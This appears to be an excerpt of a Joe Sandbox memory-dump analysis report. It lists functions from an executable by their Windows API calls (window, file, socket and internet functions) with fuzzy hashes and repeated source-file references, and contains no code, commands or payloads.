Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cc42966959b643a311328828219b797476ac122a15b5d67e7ee0a83cfbaecc2
Instruction ID: b0a77c59e68c8d24c8a58a8ab8ca9738cc2bc4a0bb15e9788813bc3e7111f7c0
Opcode Fuzzy Hash: 1cc42966959b643a311328828219b797476ac122a15b5d67e7ee0a83cfbaecc2
Instruction Fuzzy Hash: 38D11776B04B5686EB28DF2AC4602AD37B0FB89F98B514466DF5D87B58EF39D844C300

Function 00007FF697BD79D8 Relevance: 6.3, APIs: 4, Instructions: 282COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00007FF697BD7A72

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: f7e9a6a1c2f8c019007800361108cca29dc074ba0bb03e63b32f82c3ddf48b44
Instruction ID: 9524b9cee84058b85c5c63746fcdc8b9a846eaaaf0f0707d4edbc569d8d5b0e4
Opcode Fuzzy Hash: f7e9a6a1c2f8c019007800361108cca29dc074ba0bb03e63b32f82c3ddf48b44
Instruction Fuzzy Hash: 47D15B76B05B419AEB20EFA5D4901EC33B1FB89788B4044B6DE4D97B59DF38E519C380

Function 00007FF697BED88C Relevance: 6.1, APIs: 4, Instructions: 134windowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?,?,?,?,?,?,?,?,00007FF697BCBCA6), ref: 00007FF697BED91A
ScreenToClient.USER32 ref: 00007FF697BED947
MoveWindow.USER32 ref: 00007FF697BED9C5
SendMessageW.USER32 ref: 00007FF697BEDA2D

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Window$ClientMessageMoveRectScreenSend
String ID:
API String ID: 1249313431-0
Opcode ID: 9c4d75fca34e601744925f37f1e480e3e4c466c4cf94c3035283d246947070fa
Instruction ID: 0ee5d6b29439c4977ffbd99ac00ce1855caff68795391fe7d07ec54a479b87f7
Opcode Fuzzy Hash: 9c4d75fca34e601744925f37f1e480e3e4c466c4cf94c3035283d246947070fa
Instruction Fuzzy Hash: 0251B336A04A468AEB60CF25D8806BD37A1FB45BD8F5151B6DF2D93788CF79E881C740

Function 00007FF697BBBAB8 Relevance: 6.1, APIs: 4, Instructions: 127COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32 ref: 00007FF697BBBB6F
GetLastError.KERNEL32 ref: 00007FF697BBBB7E
CreateDirectoryW.KERNEL32 ref: 00007FF697BBBB8E
CreateDirectoryW.KERNEL32 ref: 00007FF697BBBC27

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: 885fddea0d2d34b219ca6ab898c8b75d575591909594024e161a1fcc4b4d8134
Instruction ID: b0fbea375dc338feda1f17541022a3b84831e1d81096c2479e684881c8455b3a
Opcode Fuzzy Hash: 885fddea0d2d34b219ca6ab898c8b75d575591909594024e161a1fcc4b4d8134
Instruction Fuzzy Hash: 9A519C32B05A1185EF64CF66D8905AD63A5FB46BD4B944175EE0D93BACEF3CE942C300

Function 00007FF697BD43C8 Relevance: 6.1, APIs: 4, Instructions: 126networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32 ref: 00007FF697BD4414
WSAGetLastError.WSOCK32 ref: 00007FF697BD4423
#21.WSOCK32 ref: 00007FF697BD44AD
WSAGetLastError.WSOCK32 ref: 00007FF697BD44B7

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: ErrorLast$socket
String ID:
API String ID: 1881357543-0
Opcode ID: 2f7cf8263c41ad3ca56e1a8fad4cf6ea685e9961862279cbfea50359dc3cc1a2
Instruction ID: 6f0451fd31d92667a65ae9c48cf0a10cfb655e235b29aaf6ec1d6c2048e1cf4f
Opcode Fuzzy Hash: 2f7cf8263c41ad3ca56e1a8fad4cf6ea685e9961862279cbfea50359dc3cc1a2
Instruction Fuzzy Hash: 7C41B27171868286DB24EF22E41466D6B91FF8AFE4F4445B5DE1E977AACF3CE0018B40

Function 00007FF697BC5DA4 Relevance: 6.1, APIs: 4, Instructions: 108fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32 ref: 00007FF697BC5E75
GetLastError.KERNEL32 ref: 00007FF697BC5E98
DeleteFileW.KERNEL32 ref: 00007FF697BC5EC1
CreateHardLinkW.KERNEL32 ref: 00007FF697BC5EFA

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: f222de675bb5cfeccc39e8564db9bf58fcd79be7e0b29fca596ca30ba57e565e
Instruction ID: 90590c0140dac4f39a40ba7fec91f7bb58634d1c8db8ef750ff25e08f329abd8
Opcode Fuzzy Hash: f222de675bb5cfeccc39e8564db9bf58fcd79be7e0b29fca596ca30ba57e565e
Instruction Fuzzy Hash: C441D676A04B4682DB24EF26D49106D6760FB8AFD0B4994B2DF4E8776ADE3CE4809340

Function 00007FF697BEF014 Relevance: 6.1, APIs: 4, Instructions: 107windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(00000000,?,?,?,?,00007FF697BF0BC9), ref: 00007FF697BEF054
GetWindowRect.USER32(?,?,?,?,00007FF697BF0BC9), ref: 00007FF697BEF0E3
PtInRect.USER32 ref: 00007FF697BEF0F3
MessageBeep.USER32(?,?,?,?,00007FF697BF0BC9), ref: 00007FF697BEF165

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 2f09a68d55c04cb191ca289c596e56cd55ceee8682779a4dba9d7602fe5484e5
Instruction ID: e34083ce4e38d9d81779b0ba3955498f3a311c9ea8eaba110e1994b4de99acdc
Opcode Fuzzy Hash: 2f09a68d55c04cb191ca289c596e56cd55ceee8682779a4dba9d7602fe5484e5
Instruction Fuzzy Hash: 00417F36A09A4A8AEBA08F19D88477D77A0FF85BD4F5541B5CA1DC33A4DF38E841C740

Function 00007FF697B7C72C Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF697B7C77F
WideCharToMultiByte.KERNEL32 ref: 00007FF697B7C851
GetLastError.KERNEL32 ref: 00007FF697B7C874
_invalid_parameter_noinfo.LIBCMT ref: 00007FF697B7C8A6

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: _invalid_parameter_noinfo$ByteCharErrorLastMultiWide
String ID:
API String ID: 4141327611-0
Opcode ID: a9867840faaecfdaa354c38ff02ada8b7424d64697801e09ff4ff5a4409c6d4e
Instruction ID: 0bf3d08b5a23d18bd95504f670c14e84f0d97fcb624d0023fbafecf23eed4565
Opcode Fuzzy Hash: a9867840faaecfdaa354c38ff02ada8b7424d64697801e09ff4ff5a4409c6d4e
Instruction Fuzzy Hash: F3419032A0D74286FB719F11D1443796295EF82BE0F2481B9DA998AEDDDF3CD8418B01

Function 00007FF697BEC580 Relevance: 6.1, APIs: 4, Instructions: 95windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00007FF697BEC630
GetWindowLongW.USER32 ref: 00007FF697BEC658
SetWindowLongPtrW.USER32 ref: 00007FF697BEC66D
InvalidateRect.USER32(?,00000000,?,00007FF697B8DF79), ref: 00007FF697BEC6A4

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: LongWindow$InvalidateMessageRectSend
String ID:
API String ID: 3340791633-0
Opcode ID: 41522454ef5ffe58f3c47094a62836e99305b084494bc2ef8d406c22aeaeab5d
Instruction ID: 8b1851fdb70ef856eaf8a5d9dfa835c5a9466fba48d042e4ad7390b15bb3f977
Opcode Fuzzy Hash: 41522454ef5ffe58f3c47094a62836e99305b084494bc2ef8d406c22aeaeab5d
Instruction Fuzzy Hash: 1D419D31E0854A8AFB749F14D4013BA6761EF86BD4F1851B2C61EC37E9CE3CE8918780

Function 00007FF697BCD7DC Relevance: 6.1, APIs: 4, Instructions: 82networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET ref: 00007FF697BCD843

Part of subcall function 00007FF697BCD914: InternetOpenUrlW.WININET ref: 00007FF697BCD954
Part of subcall function 00007FF697BCD914: InternetCloseHandle.WININET ref: 00007FF697BCDA38

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Internet$CloseConnectHandleOpen
String ID:
API String ID: 1463438336-0
Opcode ID: 9c6a6dce98b363ecdfbcced4837c14e9bd6a16cec9fa7559d6c8d26d8fbc25c1
Instruction ID: ddd294ba224490f0d946c8c07d338f56a17286f644ffe6fed246accb2e4df390
Opcode Fuzzy Hash: 9c6a6dce98b363ecdfbcced4837c14e9bd6a16cec9fa7559d6c8d26d8fbc25c1
Instruction Fuzzy Hash: 29316C3AA0874282EB349F1AE55477967A1FB4ABD5F088175DA4D87B48DF2CE0548B40

Function 00007FF697B83D98 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF697B7A27B,?,?,?,00007FF697B7A236), ref: 00007FF697B83DB1
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF697B7A27B,?,?,?,00007FF697B7A236), ref: 00007FF697B83E13
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF697B7A27B,?,?,?,00007FF697B7A236), ref: 00007FF697B83E4D
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF697B7A27B,?,?,?,00007FF697B7A236), ref: 00007FF697B83E77

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$Free
String ID:
API String ID: 1557788787-0
Opcode ID: 01582a1cc1afdad6e1d5985337141992fa687edcd13d7850452916e3cfeba0bf
Instruction ID: 54811a118c10c969678a3816746553cf73f834f4fa976cb98b4e70aad4dab4e7
Opcode Fuzzy Hash: 01582a1cc1afdad6e1d5985337141992fa687edcd13d7850452916e3cfeba0bf
Instruction Fuzzy Hash: 02215E31A1879281E6309F16A44006AB6A5FF59FD0F484175DE9EA3B9CDF3CE4528700

Function 00007FF697BEF8A8 Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetWindowLongPtrW.USER32 ref: 00007FF697BEF90E
SetWindowLongPtrW.USER32(?,?,?,?,?,?,?,00007FF697BCCD60), ref: 00007FF697BEF937
SetWindowLongPtrW.USER32(?,?,?,?,?,?,?,00007FF697BCCD60), ref: 00007FF697BEF952
SetWindowPos.USER32 ref: 00007FF697BEF988

Part of subcall function 00007FF697B42A54: GetWindowLongPtrW.USER32 ref: 00007FF697B42A71

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Window$Long
String ID:
API String ID: 847901565-0
Opcode ID: 17af9f186f091bf577d3b0a8bd6a034cb4dd905415e59c2f23c9277c7aa4b264
Instruction ID: c8be4d9d30bf009d6da56b39b9198606887ed0211903bd30909fa420562b6622
Opcode Fuzzy Hash: 17af9f186f091bf577d3b0a8bd6a034cb4dd905415e59c2f23c9277c7aa4b264
Instruction Fuzzy Hash: 7221A036A08B4589EA709F25988433977A1EF86FE4F1542B1DA6D87BE8CF3CE441C340

Function 00007FF697BF108C Relevance: 6.1, APIs: 4, Instructions: 71windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697B42A54: GetWindowLongPtrW.USER32 ref: 00007FF697B42A71

GetCursorPos.USER32 ref: 00007FF697BF10E1
TrackPopupMenuEx.USER32 ref: 00007FF697BF1105
GetCursorPos.USER32(?,?,00000000,?,?,00007FF697B8AB30,?,?,?,?,?,?,?,?,?,00007FF697B427AF), ref: 00007FF697BF114C
DefDlgProcW.USER32(?,?,00000000,?,?,00007FF697B8AB30,?,?,?,?,?,?,?,?,?,00007FF697B427AF), ref: 00007FF697BF1190

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: b766ee5e7a6f79c275b6e8452a41ed66ab3f515ad85ef8642b06b7120701f994
Instruction ID: 72f885e7db71c0d78552be553af63496548c6a751d87e8a46472a4065d88515e
Opcode Fuzzy Hash: b766ee5e7a6f79c275b6e8452a41ed66ab3f515ad85ef8642b06b7120701f994
Instruction Fuzzy Hash: 89318E3AA08A4A85EB20DF16E4943BDA760FB85FD4F140671DA4D83BA8CF3CD595D700

Function 00007FF697BB50E4 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 69stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697BB691C: lstrlenW.KERNEL32 ref: 00007FF697BB6944
Part of subcall function 00007FF697BB691C: lstrcpyW.KERNEL32 ref: 00007FF697BB6973
Part of subcall function 00007FF697BB691C: lstrcmpiW.KERNEL32 ref: 00007FF697BB69AD

lstrlenW.KERNEL32 ref: 00007FF697BB5127
lstrcpyW.KERNEL32 ref: 00007FF697BB515A
lstrcmpiW.KERNEL32 ref: 00007FF697BB519C

Strings

cdecl, xrefs: 00007FF697BB5191

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: deaeff6138769fdf6d873c851be99aeb1f41605d6981fa24cc03cadfce71aac2
Instruction ID: 9d17eeb92427fb88c5557c3b1ddff33ddb3333b2cd1a1d5d371de4669e77bc50
Opcode Fuzzy Hash: deaeff6138769fdf6d873c851be99aeb1f41605d6981fa24cc03cadfce71aac2
Instruction Fuzzy Hash: A1219F3160474285EA24AF16A89427873A1EF8AFD4F495174EF9E87398DF7DE450C304

Function 00007FF697BAD6A0 Relevance: 6.1, APIs: 4, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697BACAB4: GetTokenInformation.ADVAPI32 ref: 00007FF697BACAE6
Part of subcall function 00007FF697BACAB4: GetLastError.KERNEL32 ref: 00007FF697BACAF2
Part of subcall function 00007FF697BACAB4: GetProcessHeap.KERNEL32 ref: 00007FF697BACAFF
Part of subcall function 00007FF697BACAB4: HeapAlloc.KERNEL32 ref: 00007FF697BACB0E
Part of subcall function 00007FF697BACAB4: GetTokenInformation.ADVAPI32 ref: 00007FF697BACB2D

GetLengthSid.ADVAPI32 ref: 00007FF697BAD71A
CopySid.ADVAPI32 ref: 00007FF697BAD73F
GetProcessHeap.KERNEL32 ref: 00007FF697BAD754
HeapFree.KERNEL32 ref: 00007FF697BAD762

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocCopyErrorFreeLastLength
String ID:
API String ID: 837644225-0
Opcode ID: 9a34ca7cdec84128c61d79319dba9bc3ccc379250e2fae1bd0d7ccebff0f194a
Instruction ID: c2a1768f71eb5a7e3cb63730842fadf4e39e250342a48bb3558ee3578a4c166a
Opcode Fuzzy Hash: 9a34ca7cdec84128c61d79319dba9bc3ccc379250e2fae1bd0d7ccebff0f194a
Instruction Fuzzy Hash: 58219A76A18A4186EB28EF21E804768B3E5FB89BE1F554179DA1D8374CEF3DE941C700

Function 00007FF697B4932C Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32 ref: 00007FF697B493BC
GetStockObject.GDI32 ref: 00007FF697B493D9
SendMessageW.USER32 ref: 00007FF697B493EC

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: dfdf152a6b4170b9c012631cbf21b5eef6d1f67974f7a0a9349fa7dc94decf0b
Instruction ID: 7040e1fd797d4fdc3899aaa062aec03a3833c2eb838ccea584a891a696faf3e5
Opcode Fuzzy Hash: dfdf152a6b4170b9c012631cbf21b5eef6d1f67974f7a0a9349fa7dc94decf0b
Instruction Fuzzy Hash: 20213D76A18BC58AE7B48F15E4447AAB7A0FB8AB80F440175DA8D83B58DF7CD494CB00

Function 00007FF697BF2264 Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697B42A54: GetWindowLongPtrW.USER32 ref: 00007FF697B42A71

GetClientRect.USER32(?,?,?,?,?,00007FF697B8AA36,?,?,?,?,?,?,?,?,?,00007FF697B427AF), ref: 00007FF697BF22C4
GetCursorPos.USER32(?,?,?,?,?,00007FF697B8AA36,?,?,?,?,?,?,?,?,?,00007FF697B427AF), ref: 00007FF697BF22CF
ScreenToClient.USER32 ref: 00007FF697BF22DD
DefDlgProcW.USER32(?,?,?,?,?,00007FF697B8AA36,?,?,?,?,?,?,?,?,?,00007FF697B427AF), ref: 00007FF697BF231F

Part of subcall function 00007FF697BEE894: LoadCursorW.USER32 ref: 00007FF697BEE945

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: ClientCursor$LoadLongProcRectScreenWindow
String ID:
API String ID: 1626762757-0
